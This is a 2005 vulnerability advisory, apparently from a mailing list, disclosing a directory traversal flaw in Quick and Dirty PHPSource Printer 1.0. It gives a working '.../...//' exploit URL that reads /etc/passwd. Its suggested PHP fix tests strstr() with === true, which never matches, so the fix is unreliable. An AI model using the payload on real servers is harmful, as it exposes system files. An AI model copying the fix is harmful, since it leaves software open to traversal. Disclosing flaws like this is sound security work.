The Quick and Dirty PHPSource Printer version 1.0 is susceptible to a directory traversal attack. Exploitation provided.
061998888d86c014b05d9604aaf58f6d5469167eeef964535422a7b3559412ac
--SLDf9lqlvOQaIe6s
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
=3D=3D Vendor:
Kaf Oseo
=3D=3D Product:
http://guff.szub.net/quick-dirty-phpsource-printer/
=3D=3D Version:
1.0
=3D=3D Vulnerability:
Filtering "../" to "" allowed use of ".../...//" to be inserted and=20
changed to "../" allowing directory traversal.
=3D=3D Fix:
Use the following line instead:
$file =3D (strstr($file_get, '../') =3D=3D=3D true) ? '' : $file_get; /=
/ protect from site traversing
=3D=3D Discoverer:
Seth Alan Woolley
=3D=3D Discovery Date:
2005-07-03
=3D=3D Patch Date:
2005-07-03
=3D=3D Notification Date:
2005-07-03
=3D=3D Disclosure Date:
2005-07-03
=3D=3D Exploit:
http://sample.domain.com/source.php?file=3D.../...//.../...//.../...//.../.=
=2E.//.../...//.../...//etc/passwd
=3D=3D Greets
shellsage, #wordpress
=3D=3D Commentary
Free/Open Source Software ... written better because anybody could be=20
looking at it and people who care about security more than their next=20
paycheck did look at it.
--=20
Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
Quality Assurance Team Leader & Security Team: Source Mage GNU/linux
Linux so advanced, it may as well be magic http://www.sourcemage.org
Secretary Pacific Green Party of Oregon http://www.pacificgreens.org
Key id 00BA3AF3 =3D 8BE0 A72E A47E A92A 0737 F2FF 7A3F 6D3C 00BA 3AF3
--SLDf9lqlvOQaIe6s
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)
iD8DBQFCyNB9ej9tPAC6OvMRAhCsAKDHJWf2slOIqT+JFWwU+fo7zalKxgCg6YK9
owDOf1NfjcradXesUfj66ok=
=y6z6
-----END PGP SIGNATURE-----
--SLDf9lqlvOQaIe6s--